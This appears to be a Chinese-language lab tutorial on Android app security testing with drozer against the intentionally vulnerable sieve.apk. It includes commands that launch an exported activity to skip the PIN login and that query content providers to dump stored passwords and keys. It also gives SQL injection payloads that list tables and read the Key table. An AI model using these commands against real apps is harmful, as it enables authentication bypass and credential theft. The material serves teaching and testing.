首页 笔记

1. 安装

dorzer安装教程可以看这里:[APP测试] Android Activity页面劫持测试
测试apk:sieve.apk
26337-hd3egcsb9y.png

2. 配置

第一次进sieve需要设置一个16位的密码和4位数的PIN码
随便输入密码:qwerty0123456789
PIN码:1234
全部设置完成后输入密码登陆进去,然后选择右上角添加数据,也是随便填
46503-bpjd4s5qj2p.png
以上就是sieve.apk全部需要配置的东西了

3. sieve.apk安全测试

3.1 基本命令

3.1.1 列出模拟器安装的全部包名

dz> run app.package.list

13411-ul1rjza9hij.png

3.1.2 根据关键字列出包名信息

//列出sieve的包名
run app.package.list -f sieve

15001-9mxdqgsl1ag.png

3.1.3 查看包的详细信息

//查看com.mwr.example.sieve包的详细信息
dz> run app.package.info -a com.mwr.example.sieve

35172-sqcnaq43tbp.png

3.1.4 扫描sieve的可攻击面

//扫描sieve的可攻击面
run app.package.attacksurface com.mwr.example.sieve

53393-al28rvhst0m.png

3.2 Activity组件测试

3.2.1 查看可导出activity组件信息

//显示暴露的Activity信息
run app.activity.info -a com.mwr.example.sieve

下面暴露的这些activity是可以导出的,不需要任何许可(如登录时输入密码),所以我们通过drozer来调用他们
60159-h3v41dqrd6i.png
根据名字猜测,FileSelectActivity可能和文件选择有关,MainLoginActivity可能和主界面登陆有关,PWList可能和密码列表有关

3.2.2 app.activity.start测试

sieve在重新进入时需要输入pin码
47383-8vq0ab09aos.png
这是可以使用app.activity.start来调用activity

//该命令会生成一个合适的intent来启动activity
//这里启动的时com.mwr.example.sieve包的PWList,相当于直接绕过了登陆
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

上述命令执行完成后直接进入了PWList界面
71370-8ccq1jp4qcp.png

3.3 Broadcast组件测试

sieve不存在这方面的漏洞,跳过

3.4 Content组件测试

3.4.1 信息泄露

//列出可访问的URI和路径
dz> run scanner.provider.finduris -a com.mwr.example.sieve

下面是可访问的URI
53266-gg5w2hf59b7.png
查看泄露的信息内容

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/

敏感信息出来了
19337-h21tub87d55.png

3.4.1 SQL注入

查看app.provider.query帮助有好几种命令
91093-ace66klujwd.png

dz>  run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
dz>  run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"

列出表
根据参数构造语句

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "1) UNION SELECT * FROM SQLITE_MASTER WHERE type='table';--"

91315-8q1wrfj1dyo.png

列出内容

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"

52214-exg38x1q8og.png

其他快捷命令

//注入点位置扫描
run scanner.provider.injection -a  com.mwr.example.sieve
//列出表信息
run scanner.provider.sqltables -a  com.mwr.example.sieve

3.5 Service组件测试

3.5.1 查看Service信息

run app.service.info -a com.mwr.example.sieve 

66503-tc5b4bx51w.png

Drozer使用指南[download href="https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf" target="blank"]Drozer使用指南[/download]



文章评论

目录